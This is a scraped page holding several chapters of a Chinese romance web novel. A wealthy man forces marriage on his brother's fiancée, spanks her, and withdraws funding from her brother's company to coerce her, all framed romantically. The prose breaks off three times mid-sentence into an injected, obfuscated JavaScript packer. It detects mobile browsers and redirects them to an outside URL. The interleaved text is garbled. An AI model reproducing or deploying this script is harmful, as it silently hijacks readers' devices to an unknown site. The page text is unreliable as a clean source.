其实从她成年之后,这套房子过户到她的名下,她就没在这里长住过。一来是这套房毕竟有些年头了,和近些年新开发的楼盘相比,基础服务设施还是比较落后的。二来是她其实有些怕堵物思人,这是她妈妈年轻时候住的房子,屋子里都是她妈妈的痕迹。 这套房更像是她用来疗伤的地方,小时候和后妈吵架会来这里,长大后和男友吵架也会躲到这里。 房子长期没人住,只有阿姨定期上门打扫,房子的整洁度还不错,只不过医药箱里的药多年没用,都已经过期了。 “你下午吃的是这个?”蔺承则拿着一小板白片的药在她面前晃。 “嗯。” “过期有半个月了。”他无奈地说,把药盒扔进垃圾桶。 黎清昭瞬间想去扣自己的嗓子眼把药吐出来,她可不想中毒,她还年轻,她还不想死。 蔺承则看着她苦着脸,坐在床边,把水递给她,“有没有感觉不舒服?” 黎大小姐听他这么一问,感觉自己浑身上下都不舒服,胃里不舒服,脑袋不舒服,身上不舒服…… 一定都是过期药的副作用。 她“咕咚咕咚”灌了半杯水,觉得在生死面前,自己都能和面前这个讨厌的男人一笑泯恩仇了。 蔺承则忍不住刮了刮她的鼻子,“应该没什么大事,按理说过期半个月不会有毒,可能就是药效没那么管用了。我去给医生打个电话再咨询一下,顺便让人给你送一些药过来。” 黎清昭听他这么一说,脸色瞬间变了,“怎么不会有毒?我看你就是想毒死我。” 蔺承则觉得再也找不到比她更惜命的人了。 不过,惜命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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说完,她的肚子不争气地响了两声,在寂静的夜里格外明显。 蔺承则没忍住,笑出声来。 黎清昭羞得没脸,转身就爬到床上,又用被子把自己盖得严严实实。 她可真丢人。 她在被子里滚来滚去,心里两个小人在打架。她想,为什么她总是在和他最针锋相对的时候掉链子,这和士兵在战场上举手投降有什么区别? “想吃什么?”蔺承则亦步亦趋地跟她回到卧室。 黎清昭抬手摸得到自己的手机点外卖,“我有钱,不需要你管我。” 她发烧,其实胃口不大,今天一整天都没感觉饿。可打开外卖软件,又感觉自己食欲格外强烈,就想吃点儿有滋有味的,于是她给自己点了一份肯德基全家桶和一份三文鱼。 黎清昭躺在床上等外卖的时候,蔺承则的助理已经把退烧药和饭都给送了过来。 黎清昭可不想烧死,于是乖乖把药吃了,可看着那晚清汤寡水的蔬菜粥,她一丁点儿食欲都没有。她瘪了瘪嘴巴,用勺子挑了两下粥,把勺子往碗里一扔,不想吃。 “你以为你是在打发乞丐吗?” 估计乞丐都不喝这种粥。 蔺承则早就听蔺逸远说过黎大小姐挺挑食的,今天一见她这个态度,才知道她确实是很挑食。 幸亏他早有准备,让助理也送来一些水果,有草莓、蓝莓和山竹,全都是她最爱的水果。 “别惦记着你点的那些垃圾食品,吃这个。”蔺承则把水果推到她面前。 黎清昭倒是没想到他居然真挺了解她的,她像是吃了一颗草莓,随后又把仙女抱在怀里,喂了她一颗。 小猫不太会像人那样大口咬东西,只会用舌头试探着舔。 不过黎清昭很有耐心,就举着草莓喂她,直到小布偶把一颗大草莓都吃掉,她又把饭团抱起来喂他。 蔺承则静静地看着她,看着她怀里抱着那只肥嘟嘟的猫。 也不知道她这猫是当什么养的,胖的像是一辆卡车。 思索间,电话响了。 他看了她一眼,到窗前打电话,处理工作上的事。 等他挂断电话,外卖就到了。 黎清昭拿到外卖后,故意挑衅着在他面前把包装拆开,使劲儿用鼻子嗅了嗅。只可惜,她感冒嗅觉不太发达,连炸鸡的香味都没闻到。 黎清昭拆开一次性手套,还没把炸鸡塞到嘴里,吃的就被他给没收了。 “先喝粥,这些等你好了再吃。” 管天管地,还能管到人吃东西? 况且,他又不是她爹,凭什么管她? 自以为是的老东西。 黎清昭忿忿地看着他,抬手把吃的抢回来,理直气壮地说:“要你管?” 蔺承则蹙了蹙眉,语气严厉地说:“我看你是不难受了。” 吵架有力气,犟嘴也有力气,精气神比平时看着还好。 黎清昭其实还有些头晕脑热,但是为了这口吃的,她也是豁上了,“对呀。” 说完,还伸手去够她的那些垃圾食品。 蔺承则敛眸,抬手扶了扶镜框,拦腰把她抱了起来。眼看着到手的炸鸡要飞了,黎大小姐脾气又上来了。 她发现,她就不能和他和平共处超过五分钟。明明他给她带水果的时候,她还有那么一丝感激的。 黎清昭立刻在他的小臂上咬了一口,狠狠的一口。 他的衬衫袖挽着,这一口直接咬在了他的肌肤上,他只是皱了皱眉。 蔺承则觉得她就是欠收拾,他坐在沙发上,把她按在他的腿上,抬手在她的屁股上狠狠打了一巴掌。 那股又酥又麻的羞耻感瞬间将她裹挟。 他居然打她的屁股? 她今年二十一了,又不是三岁,他居然这么管教她? 这比昨晚逼着她嫁给他还要讨厌。 黎清昭反应过来发生什么的时候,小脸连带着脖子一片通红,她瘪了瘪嘴,仇视地看着他,“你这么欺负我,我不活了。” 12. 兄弟修罗场 “你个王八蛋!臭男人!坏东西!”黎清昭还在喋喋不休地骂他。 客厅里的水晶顶灯是昏黄色的,光线打在她身上,勾勒出她纤细玲珑、凹凸有型的身材。 因为她一直在挣扎,那条本来及膝的睡裙已经卷到了大腿根,隐约看到白色的蕾丝边。 蔺承则喉结滚动,目光沉沉地落到了她身上。他发现,他现在对她是一点儿抵抗力都没有,只要碰到香香软软的她,他那些邪恶的歹念就会充盈在大脑中。 黎清昭还在骂他,她从小到大就有舌战群儒的本领,骂起人来都不带重样的,什么“老混蛋”、“老王八”、“死变态”这些词一个接着一个往外蹦。 蔺承则抬手摘掉眼镜扔到一旁,一手圈着她不盈一握的腰,另一只手又从高处挥下,在她的小屁股上抽了一下。 又是“啪”的一声,调情的暧昧萦绕在室内。 黎清昭意识到不对劲儿,话立刻哽在了喉咙里。 她低着头,能看到熨帖的黑色西裤下包裹着男人偾张的肌肉,即使隔着一层布料,她也能感觉到他身上的力量感和雄性荷尔蒙的气息。 她紧紧攥住他的裤子,嘀咕着说:“你再这样,我真的是不活了。” 蔺承则才不会相信她的鬼话,吃一片过期药都怕有副作用的人,怎么可能不活了? 不过,他倒是没再收拾她,只是维持着这个姿势和她讲道理,问她好不好好吃饭。 黎清昭可怜巴巴地看向餐桌上的全家桶套餐,才发现饭团这个小馋猫早就跳到了桌子上,低头在吃她的晚饭。 “啊啊啊啊啊!”她放声尖叫,恨不得把整栋楼的人都吵起来。她才不管有没有道德,她就是要发疯,喊完一声又蔫巴巴地趴下,“都怪你,都怪你。” 蔺承则只是一味地在笑,“现在能好好吃饭了吗?” 黎清昭从昨晚到现在只吃了几颗草莓,现在肚子里还空荡荡的,但她特别有骨气地和他唱反调,“不吃,我要睡觉。” 说完,就要从他腿上爬起来。 她刚坐起来,一条腿还跪在沙发上,又被他揽着腰给拉了回来,重新跌倒在他怀里。 黎清昭觉得她在他眼里就是一只轻飘飘的小绵羊,挟持她根本不费吹灰之力。 她趴在他的腿上,不分青红皂白就在他矫健的大腿上咬了一口,咬完之后又嫌弃地朝着地面上“呸呸呸”。 蔺承则抬手拢着她凌乱的发丝,“还想被打屁股?” 她又委屈了,心想她打死都不能嫁给这个坏东西。虽然刚刚被他打屁股不是很疼,还有点儿刺激,但她堂堂一个成年人,怎么能被他管教呢? 她不服。 不过,黎大小姐最大的优点就是“识时务者为俊杰”,依照蔺承则的话说,她的性格就像是一只猫,平时傲娇极了,喜欢伸出爪子看着人的脸色试探对方的底线,等一见到对方真的变脸了、较真了,她立刻就怂。 此时此刻,黎清昭就是这样,她虽然满脸不屑,但还是小身嘀咕着说:“谁喜欢挨打呢?” 见他不吭声,她又硬气一些,“难道你喜欢被打屁股吗?” 黎清昭撇了撇嘴,眼珠子一转,又开始卖惨,她抬手捂着自己头,“我头疼,好像脑震荡了,都能看见金星了。” 蔺承则勾了勾唇,抬手松开她。 黎清昭重获自由之后,又狠狠地踩了他一脚,只可惜,她穿的是拖鞋而不是八厘米的高跟鞋,对他的杀伤力聊胜于无。 蔺承则倒是丝毫不在意她这些幼稚的小动作,相反,他只会觉得他未来的小妻子太过可爱了。 他起身,又督促着她喝粥,“不是头疼吗?我看是饿的。” 经历了刚刚那么一遭,黎清昭觉得她的小屁股现在还疼呢,肯定不敢和他硬碰硬了,于是便乖乖地喝那碗蔬菜粥。 把粥送进嘴里,她才感觉这东西没她想象中的那么难喝,至少不是没滋没味的。不过,和肯德基比起来,自然是差的很远。 黎清昭吃东西的时候喜欢细嚼慢咽,所以给人一种慢吞吞的感觉。 蔺承则坐在一旁看着她,突然觉得自己逼婚这一步走对了。其实她好像也没他刻板印象中的那么害怕他、讨厌他、接受不了他。 甚至他觉得,她那些反感他、厌恶他、攻击他的那些话也都是情绪的产物。 她没准还是多少有点儿喜欢他的。 蔺承则就这么把自己给攻略了,心情莫名地好了起来。中途,黎清昭点的那份三文鱼到了,还是他出去帮她拿的外卖,顺手帮她把包装拆开。 黎清昭匪夷所思地看着他,夹了一块三文鱼,少抹了点儿山葵,将鱼片对折,又蘸了点儿酱油,塞进嘴里,全程他都没有制止。 于是,黎清昭又开心了。 毕竟能吃就是快乐。 填饱肚子,两人大眼瞪小眼,她突然有些不知所措,但她觉得他该滚蛋了。 黎清昭轻咳嗽两声,下逐客令,“我要洗漱睡觉了。” 蔺承则轻“嗯”一声,“去吧。” 黎清昭眉头拧了起来,在心里骂他听不懂人话,没有眼力见。 蔺承则收起手机,抬眸看她,解释说:“你放心,我不会趁人之危。晚上我怕你发烧会反复,所以留下来照看你。” 谁稀罕他的照看? 假好心。 黎清昭皱了皱鼻子,“我觉得我不需要,孤男寡女共处一室,不太好。” “没关系,我不介意。” 黎清昭声音登时提高了一个度,“我介意呀!” 蔺承则突然转移话题,“你既然不困,那坐下陪我聊聊也可以。我想了想,我们还是有必要签一个婚前协议,你有什么要求,都可以提,只要不是太过分,我都可以答应。” 黎清昭快要被他气炸了,她轻而易举被他牵着鼻子走,“我和你说了一万遍了,我黎清昭不可能嫁给你,你能不能要一些脸,死缠烂打有什么意义?你是听不懂人话吗?” 蔺承则依旧情绪温稳定,语气平淡,“要脸的话能有老婆吗?” 他觉得他前二十几年就是太过要脸了,维持着一个君子的形象,和蔺逸远上演着一出兄友弟恭的戏。 可他得到了什么?他看着他心爱的女孩儿一点一点对着另一个男人动心,看着那个男人和她在一起后却不好好照顾她。 所以,他情愿撕开那层绅士的伪装,暴露出最卑劣的自己。 只要结果是能娶到她,其他的他都不在乎,尤其是所谓的名声这东西。因为他足够强大,旁人再看不惯他,也只敢在背后嚼舌根,在他面前还是得低三下四地装作认同他。 “要脸的话,昭昭就同意嫁给我了吗?” “你死不讲理。”黎清昭懒得在看见他,立刻进了卧室,随手把门摔上,还不忘矫情地把卧室的门上锁,像是防狼一样防着他。 蔺承则轻叹了口气,看了眼这个不算大的沙发,他打算今晚在这对付一宿,主要是为了盯着她,怕她半夜又烧起来。 黎清昭白天睡多了,窝在卧室里怎么想怎么觉得憋屈,她抬手碰了碰自己的小屁股,那股酥麻感又接踵而至。 她的脸瞬间就红了,连忙摇摇头,又在心里骂蔺承则。 终于骂完他,发泄完,她才点开微信,看到蔺逸远一个多小时前给她发来的消息。 【昭昭,他走了吗?】 【你别怕,我马上就登机,明早就到家了。】 【等着我,爱你。】 黎清昭胸口又开始泛酸,又想起自己被抽屁股的悲惨遭遇,她发泄地给蔺逸远发消息:【我讨厌死了你们全家。】 发完,就把手机扔到一旁。 过了一会儿,她就听见猫猫跳起来开门的声音。她养的这两只猫都特别聪明,会自己开门,平时晚上黎清昭一般都会给他们留门,等到猫猫自己玩儿完了,他们就会来卧室找她,第二天早上,她一睁眼就能看到一左一右两只猫躺在她身边。 黎清昭起床去给猫猫开门,仙女体重小一些,见到她,顺着她的睡裙就爬到了她肩膀上。黎清昭缓缓蹲下身,把小胖子银渐层抱到怀里,再一抬眸,她才想起来家里还有个不速之客。 客厅的灯不知道什么时候已经关了,昏暗寂寥的一片。借着卧室的灯光,黎清昭能看到男人蜷在沙发上。 她家的沙发比较小,他一个大男人显然是躺不下,两条腿搭在椅子上。 黎清昭轻咳嗽两声故意使动静,男人一动不动,估计是睡着了。 黎清昭鬼使神差地往前踱了两步,凑近他,看他的睡颜。 其实他长得挺好看的,脸上棱角分明,鼻梁高挺,尤其是下半张脸,几乎和蔺逸远一模一样。 黎清昭有些震惊自己认错人的这种恍惚感,连忙摇了摇头,抬手对着他的脸虚挥了一拳又一拳。 当然,她没敢真打。 她用精神胜利法给自己出完气,美哉美哉地抱着两只猫回了卧室,关上门。 那道渗透出来的灯光消失,蔺承则才睁开眼睛,想起刚刚她幼稚的行为,他眯眼笑了笑。 - 黎清昭凌晨三点多的时候又烧了一次。 可能是因为生病,她睡觉的时候都被噩梦纠缠着,她又梦到妈妈临去世紧紧地握着她的手,说:“你哥大了我倒是不担心,妈妈现在就是不放心你。” 那一年,她的宝贝女儿才不过七岁。 这些年,在旁人眼中,黎清昭一直都是傲娇的、跋扈的、没心没肺的,大家都已经她那时候年龄小,对丧母这事不会太敏感。 可只有她自己知道,她其实一直都记得妈妈去世的画面。 “妈妈,他们都欺负我。”她的眼泪一滴接着一滴流下来,浸透枕头。 蔺承则闻言,突然怔了一下,他没有叫醒她,抬手轻轻地拍了拍她的肩膀,安抚她的情绪。 过了会儿,她才安静下来,只不过还在小声啜泣,额头上沁出一层冷汗,头发软趴趴的黏在脸上。 蔺承则轻拍了拍她的手,小声叫她:“清昭,再起来吃一片退烧药。” 黎清昭的意识渐渐清醒,她抬眸看到蔺承则,呆了一下。不知道是不是她的错觉,她总觉得刚刚在他的脸上看到了转瞬即逝的忧虑。 “你怎么?我……”她想起刚刚那个梦,又抹了抹眼泪,一声不吭。 她情绪低落,不愿意多言,蔺承则自然不会像晚上那样故意逗她。 他哄着她把药吃了,给她掖了掖被子,就一直守在她床边,顺手把空调的温度调高一些,给她捂捂汗,烧能退得更快一些。 黎清昭没多久就又睡着了。 睡梦中,她一直也不老实,眉头轻蹙着。大概是觉得热,不舒服,她又开始踢被子。 蔺承则帮她重新把被子盖好,又用纸巾给她擦了擦额头上的汗水。 到了凌晨五点,她的烧终于退了,脸蛋也不像半夜那样红扑扑的。 蔺承则一直守着她,守到了七点,他才给黎执渊打电话,让他来照顾自己的妹妹。 其实他想一直陪着她的,但是没办法,他得回趟蔺家,跟家里的长辈解释一下他的婚事。 估计昨晚,蔺逸远就把电话打到家里闹了一通,随后奶奶、蔺岱山、陈玉梅轮番给他打电话,他一个都接。 今天一早,电话又打了过来,他一想,黎清昭退烧了,他也放心了,便离开了。 蔺承则没有直接回蔺家,他先是去了一趟公司,处理了昨晚的事务,才开车回家。 蔺承则一进家门,蔺逸远就一拳对着他挥了上来,出其不备,直接打在了他的右脸上。 男人扶了扶被打偏的眼镜,抬眸看他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144145|196095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 蔺逸远其实也刚到家没多久,衣服都没来得及换,他愤怒地看着平时被自己视作榜样的兄长,又狠狠地挥了一拳。 蔺承则没有还手,任由他打了自己三拳。蔺逸远咬牙切齿地把他逼到了墙上,攥着他的衣领,眼底一片猩红,眸中噙着泪,瞳孔像是被撕裂。 “你怎么能这样呢?昭昭是我的未婚妻。” 蔺承则很冷静,“我们聊聊。” 蔺逸远被抢了未婚妻怎么可能轻易善罢甘休,他死死地扯着蔺承则的衣领,“聊个屁!” 说完,又要动手。 蔺承则轻而易举挡住了他的拳头,眸色狠厉,他反手一折,就把蔺逸远撂倒在地上。 蔺逸远比他小了五岁多,从小特别淘气调皮,是被家里人惯着长大的。而蔺承则性格偏冷淡、稳重。 小时候,蔺逸远就特别喜欢挑衅蔺承则,逼着他和自己一起玩。蔺承则被他弄烦了,就会把他撂倒在地上,用腿锁住他的喉咙。 如今,时过境迁,多年前的场景复现,可蔺逸远不像小时候伸手作揖求饶,而是歇斯底里地呐喊:“你凭什么这么对我!昭昭是我的未婚妻!” 蔺承则抬手摸了摸嘴角的血丝,不屑一顾地看着他,“从今天起不是了。” 蔺逸远抬手攥住他的衣服,即使他躺在地板上不占任何优势,可还是挥拳去打对方。 蔺承则忍无可忍,钳制住他的双手,轻讽着说:“早些年让你学拳击、让你去健身,你无动于衷,现在只能任人摆布。” 蔺逸远对讨厌他那副高高在上的样子,全身都在用力。 直到一声“住手”才呵斥住针锋相对的两兄弟。 蔺岱山被气得嘴唇发颤,“你个畜生,给我松开。” 蔺承则轻哂一声,松开蔺逸远,低头拂平衣服上的褶皱。陈玉梅立刻心疼地奔向自己的儿子,把他扶起来,摸了摸他的胳膊,“没事吧。” 蔺逸远没吭声,只是瞪着眼睛看向蔺岱山,让他主持公道。 蔺岱山看向蔺承则,“你跟我上来。” 来到二楼书房,蔺承则才看到奶奶也在,他的眸色不自觉温和一些。哪料到老太太攥着戒尺就抽在了他的后背上,“你啊你!” 老太太也被气得不行,“你是非要把家里搅得鸡飞狗跳才肯作罢吗?” “真是长能耐了,一声不吭地到黎家去抢亲,你把两家的脸面放在那里啊?”老太太下了狠心,又重重地打了他几下。 蔺承则一声不吭。 “你给我跪下!” 蔺承则敛眸,“奶奶、爸,无论如何,这事已经盖棺定论,说出去话泼出去的水,清昭我非娶不可。” 他的语气不容置喙,仿佛只是在通知长辈们。 “你给我跪下!”老太太拍了拍自己的胸口,顺顺气。 蔺承则倒是没再气奶奶,他知道老太太上了年纪心脏不好。他双膝跪地,后背绷得笔直,一声不吭地任由老太太打。 “您生气,我认罚,但我已经做出的决定不会再改,清昭我是一定要娶。”男人话音一转,“这个家、这点小事,我还是能做主的。” 老太太被气得直接将戒尺扔在了地上,“你这孩子,你……” 蔺承则看向老太太和蔺岱山,“我是真心喜欢清昭,我对她的感情不比逸远差。这些年,我这个当哥哥的一直在让着他,这一次,无论如何都不行。” “造孽啊!”老太太用手背抵住额头,转身看向蔺岱山,“子不教父之过,你自己生的好儿子,你自己教育!” 老太太走后,书房又只剩下父子两人,蔺承则从地上起来,顺手把戒尺捡起来扔在红木桌上。 “得,现在打也打了,骂也骂了,你们心理上应该能平衡一些,也算是替逸远出了这口恶气。” 男人勾了勾唇,仿佛这些都在他的预料之中,是他为了抢老婆心甘情愿付出的代价。 蔺承则抬手按在蔺岱山的肩膀上拍了拍,“爸,你不用再劝我,你知道,我从小到大认定的事情不会改变。你和陈姨有这个时间,还不如安抚一下逸远,毕竟你们的小儿子更伤心一些。” 说完,他就拂袖离开。 到楼下的时候,蔺逸远还是像一头小兽一样要扑上去揍他,不过硬生生被陈玉梅扯着胳膊拦住,“逸远,别闹啦。” 蔺承则头都没回,直接开车回了公司。 到了公司,男人坐在真皮沙发上,点了一支烟叼在口中,才抬手去解纽扣,把衬衫扒下来。 他穿了件黑衬衫,看起来很正常,脱掉衣服,只见男人精壮的后背上挂了一道道红痕,甚至有的地方已经溢出了红血丝。 助理周正看到他后背上触目惊心的伤痕,蹙了蹙眉,“你这是?” 蔺承则没说话,把药扔给他,又深吸了一口烟吞云吐雾。 周正用棉棒蘸了一些碘伏,“可能有些疼,你稍微忍忍。” 蔺承则突然问他:“你跟着我有几年了?” “七年了,你忘了我大四实习的时候就来公司面试了,当时正好赶上你开始接受公司。” 可以说,这些年,周正亲眼见证了蔺承则一步一步爬到如今的位置,见证他一点点地在公司树立起威望,一点点赢得董事那些老古董的信任、在公司大刀阔斧地进行改革。 可以说,没有蔺承则就没有现在的蔺氏。 所以他有资本为了娶黎清昭与全家人为敌。 “见过我这么狼狈吗?” 周正摇头,“这是跟谁打架了,脸上、后背没一块好地方,倒是从来没见你吃过这么大的亏。” 蔺承则没说话,默默地抽完那支烟,抬手把烟蒂碾在烟灰缸里。 他沉默良久才突然开口回答周正刚刚那个问题。 他说他这一身的伤是“抢老婆赢来的战利品”。 13. 逼她 黎清昭醒来之后没看到蔺承则,她揉了揉还有些发昏的头不禁在思考昨晚的事是不是她的梦。 突然,黎执渊推门而入,“昭昭,醒了。” 黎清昭把猫抱在怀里,“哥,你怎么来了?” “昨晚蔺承则一直在你这儿?他有没有欺负你?”提到蔺承则这个旧友,黎执渊语气并不怎么好。 前天晚上蔺承则提出结婚,黎家被搅得乱七八糟。昨天白天,黎执渊找上他,心平气和地让他放过自己的妹妹,蔺承则不仅咄咄逼人、不为所动,反而突然违约、中断了对黎家新能源汽车项目的投资。 昨天整整一天,黎执渊都在收拾烂摊子,晚上更没怎么睡,结果今天一早还被蔺承则的电话吵醒。 黎执渊本来以为他是悔悟了,想当个人,结果他却是通知他过来照顾发烧的黎清昭。 “清昭和你在一起?”黎执渊当时不可思议地问。 “他还在睡。”蔺承则说完这话就把电话挂了。 幸亏黎执渊赶到的时候,黎清昭正睡得安详,看起来不像是被那个姓蔺的混蛋欺负,否则,他这个当哥哥想杀人的心都有了。 黎清昭自然不知道这些,她支着胳膊缩成一个团,深吸一口气,“哥,爸和爷爷那边是什么意思?” 黎清昭昨天是故意离家出走的,就想给长辈们使使厉害,但其实,她心里一直挺忐忑的,她真怕爷爷和爸爸要卖女儿。 黎执渊坐在床上,摸了摸她的头发,“别怕,有哥在,哥会替你撑腰。我们昭昭的婚事大事由你自己决定,你喜欢谁就和谁在一起,没有喜欢的就不结婚,反正有哥养你一辈子呢。” 黎清昭鼻子立刻酸了,她说:“昨天晚上我梦到妈了,我死死地攥着她的手,求她别扔下我,可她就是不听我的。” 黎执渊心里有些发涩,他想,无论付出什么代价,他都要阻止这场婚事。 黎家就这么一个女孩儿,从小到大被全家捧在手心长大的,怎么能亲自送她入虎口呢? “别怕。”黎执渊安慰她,“有我和你嫂子在。” 他说完这话,手机突然响了。黎执渊起身,看着来电显示,眉头不自觉地拧了起来,“你把感冒药吃了,我先出去接个电话。” 黎清昭看着黎执渊孤孑的背影,就着温水把药吞下之后,鬼使神差地光着脚下地。她猜这通电话可能是爷爷或者爸爸打过来的,没准是要聊她的婚事,所以哥哥才躲着她。 黎清昭贴在门口偷听,黎执渊微倚在书房的桌边,抬手揉了揉太阳穴,难得发了脾气,“没了蔺氏又不是活不了。资金的问题我来解决……急急急,谁不知道急!好了,我知道了,等我回公司。” 黎清昭推开门进来,“哥,是公司出什么问题了吗?” “没事儿,一点儿周转问题,你别操心。” 黎清昭显然不相信他的话,她刚刚明明听到蔺氏俩字了。其实她一点儿也不笨,三言两语就猜透了发生什么事,只是她没想到,蔺承则居然为了逼她,使用这种下三滥的手段。 真可恨! “那我……” 黎清昭话还没说话,“砰砰砰”的敲门声就响了起来,“我想去开门。” 门一开,蔺逸远就把黎清昭抱在了怀里,下巴抵在她的肩膀上,“宝宝,我来了,让你受委屈了。” 黎清昭被他勒得喘不过来气,推了推他的胸膛,“我哥还在。” 蔺逸远连忙收回手,“执渊哥。” 黎执渊正好要回公司处理事务,摆了摆手说:“逸远,清昭先交给你了,我还有点儿急事。” 房门再次关上,家里只剩黎清昭和蔺逸远两个人,蔺逸远心疼地看着她,又把她抱在了怀里。 经历了这么一遭事,黎清昭就像突然变成熟一样。要是以前,她没准会和他抱着哭,边哭边骂蔺承则不是人。而现在,她只想商议出一个对策、只想知道蔺家的态度、只想解决这个棘手的问题。 “蔺叔叔和奶奶怎么说?”黎清昭推开他,坐在了沙发上,扯了扯嘴角,“你哥那边应该是撤掉了我哥项目的资金,我哥现在忙的焦头烂额的。” 她但从来没想过她还有这么大的本事,能决定蔺承则对一个项目的态度。 属实是有些抬举她了。 “宝宝,我……” 蔺逸远的话突然哽在喉咙了,他不知道该怎么和她讲蔺承则现在已经张狂到了可以只手遮天的地步,他的态度就代表蔺家的态度。 黎清昭满含希望地看着他,才发现,他的嘴角有伤口,“你和他打架了?” 她起身要帮他找药消一消毒,蔺逸远却攥住她的手腕,让她坐到自己的腿上,抬眸看着她的眼睛,“宝宝,我们私奔吧,我和你,就我们两个人找个没人认识的地方,我们隐姓埋名,我们结婚。” 黎清昭瞬间就明白了他话里的潜台词,“奶奶和蔺叔叔都不管他吗?” 蔺逸远不知道该怎么回答这个问题,他想说他们不是不想管,而是管不了。 “你们家到底是什么意思?不是你信誓旦旦地说要娶我的吗?”黎清昭的声音扬了起来,“所以到头来,私奔就是你昨晚说的,让我等着你,让我稳住他的解决问题的办法?” 那一瞬,她哭都哭不出来,居然露出一个苦涩的、失望的笑容。 “宝宝,那难道你要嫁给他吗?”蔺逸远捧住她的脸蛋,盯着那双澄澈的眸子。 “我当然不想嫁给他,我又不喜欢他。”她想起昨晚蔺承则霸道的行径,突然抖了一下,“他那么无耻。” “所以,和我一起出国好不好?”蔺逸远的额头抵住她的额头,两人的呼吸声交织在一起,“我发誓,我会好好照顾你。” “我走了?我哥怎么办?公司怎么办?” 黎清昭觉得蔺逸远太天真了,他脑子里只有两个人的爱情,其他的东西都沦为背景板,“他是你哥,他再坏也不会对你怎么样?但是我哥呢?凭什么我逃跑的后果要让我哥来承担?你知道的,从小到大,我哥待我最好了,我不可能就这样走了。” “那你想怎么办?” 黎清昭摇了摇头,她也不知道,但她知道蔺逸远是指望不上了,也许她能靠的只有自己。 毕竟,在蔺承则那个老混蛋眼中,她就是她自己拥有的最大的筹码。 “逸远,对不起,我不能和你在一起了。”黎清昭扯了扯嘴角,虔诚地和他道歉,在这一刻,她的理智占据上风。 “为什么?你不是不喜欢他?”蔺逸远从来没想过,黎清昭居然是不坚定的那一个。 “我是不喜欢他,但每个人都有每个人的命。”她闭上了眼睛,防止那两行清泪流下来。 “昭昭。”蔺逸远攥住她的手,和她十指相扣,“我知道你是爱我的,我们再想一想办法,你再给我一次机会好不好?” “你能想什么办法?” 她其实没对蔺逸远抱有太大的希望,她爱他,但也了解他,知道他现在翅膀不硬,在蔺承则面前就是小巫见大巫。 他们都太渺小了,渺小到看似无坚不摧的、矢志不渝的爱情在现实的强压下如琉璃般易碎。 蔺逸远额头抵住她的额头,“乖,你等我,我去求奶奶,去求我爸。” 说完,他转身就离开了。 黎清昭看着放在茶几上的碘伏和棉棒,才想起来,她都没来得及帮他擦一擦脸上的伤。 - 接下来几天,黎执渊忙的焦头烂额,新能源这个项目当初是他亲自牵头顶着董事会那些老古董的压力硬要实行的。 如今,资金出了问题,项目被迫中断,停滞不前。公司里那些老古董又开始施压,甚至要弹劾黎执渊,搞得黎老爷子都不得不出山来安抚大家的情绪。 所有人都知道,这背后是蔺承则在运作,他不仅突然撤资,自损八百伤敌一千断了资金链,还阻碍黎执渊找其他的投资商。 这几天,公司议论纷纷。 “也不知道蔺家到底是要干什么?我记得蔺家小少爷和黎家大小姐还有婚约在身,这么弄,都损害两家的面子。” “有钱人的世界咱们不懂。” “主要是,这么一搞,蔺家也没得到什么好处啊!两家这些年的利益捆绑这么深、合作项目这么多,真要是闹掰了,蔺家还真未必就能保全自己。” “这谁知道,只能说蔺家那位就是个疯子!” “可不是,亏我上次远远见一面还觉得他很帅,想嫁给他呢?他要是再这么搞下去,最小受伤的就是咱们这些小喽喽,恐怕咱们都得下岗。” “……” 黎清昭从进公司一路就听到这些议论声,她直接上楼去找黎执渊,问现在到底是什么情况。 “不用你操心,你先回家,帮我照顾小鱼。” 黎清昭攥住黎执渊的手腕,“哥,我不是小孩子了,我也姓黎。” “傻姑娘,回家吧,不用你操心。” 黎清昭喉咙发涩,像是脱了玻璃碴子一样,她转身就走,生怕自己的眼泪落下来。 从那天蔺承则说要娶她,到现在公司一团乱麻,黎执渊这个当哥哥的自始至终都没松口说要她嫁人。 可他明明知道最好的解决方法就是同意黎清昭的婚事。 这些天,黎老爷子不断给她施加压力,黎乾岳甚至来求她,蒋辞没给她摆过好脸色,讽刺她是个扫把星……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148872|196095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 只有哥哥,自始至终在保护她。 黎清昭知道,她不能这么自私,她仰着头把眼泪憋回去,简单整理了头发,给蔺承则打电话,“你什么时候有空,我要见你。” 黎清昭是晚上去找的蔺承则,独自一人。 这个时间,公司的员工都已经下班了,玻璃幕墙外只剩零星几盏孤灯,稀疏地亮着,在巨大的黑夜中显得格外伶仃。 黎清昭由周正带着,乘坐专用电梯上楼。她跟男人道过谢后,踩着高跟鞋就往前走。 “黎小姐。”周正突然叫住她。 “有事?” “蔺总其实很在意你。”周正说这话的时候脑海中又闪现出蔺承则后背上的伤,“有什么事,你好好和他说。” 黎清昭怔了一下,“谢谢。” 进办公室之前,黎清昭一直提醒自己要控制住自己的臭脾气,心平气和地和他交涉。 可进了门之后,她发现她是一点儿都控制不住自己,她简直想咬死他。 蔺承则早就知道她会过来,他一直在等她,见她进来,便问她后来又烧没烧,感冒好没好。 黎清昭觉得他的关心都是假惺惺的,她嘲讽着说:“烧死我更好,现在所有的问题都迎刃而解了。” 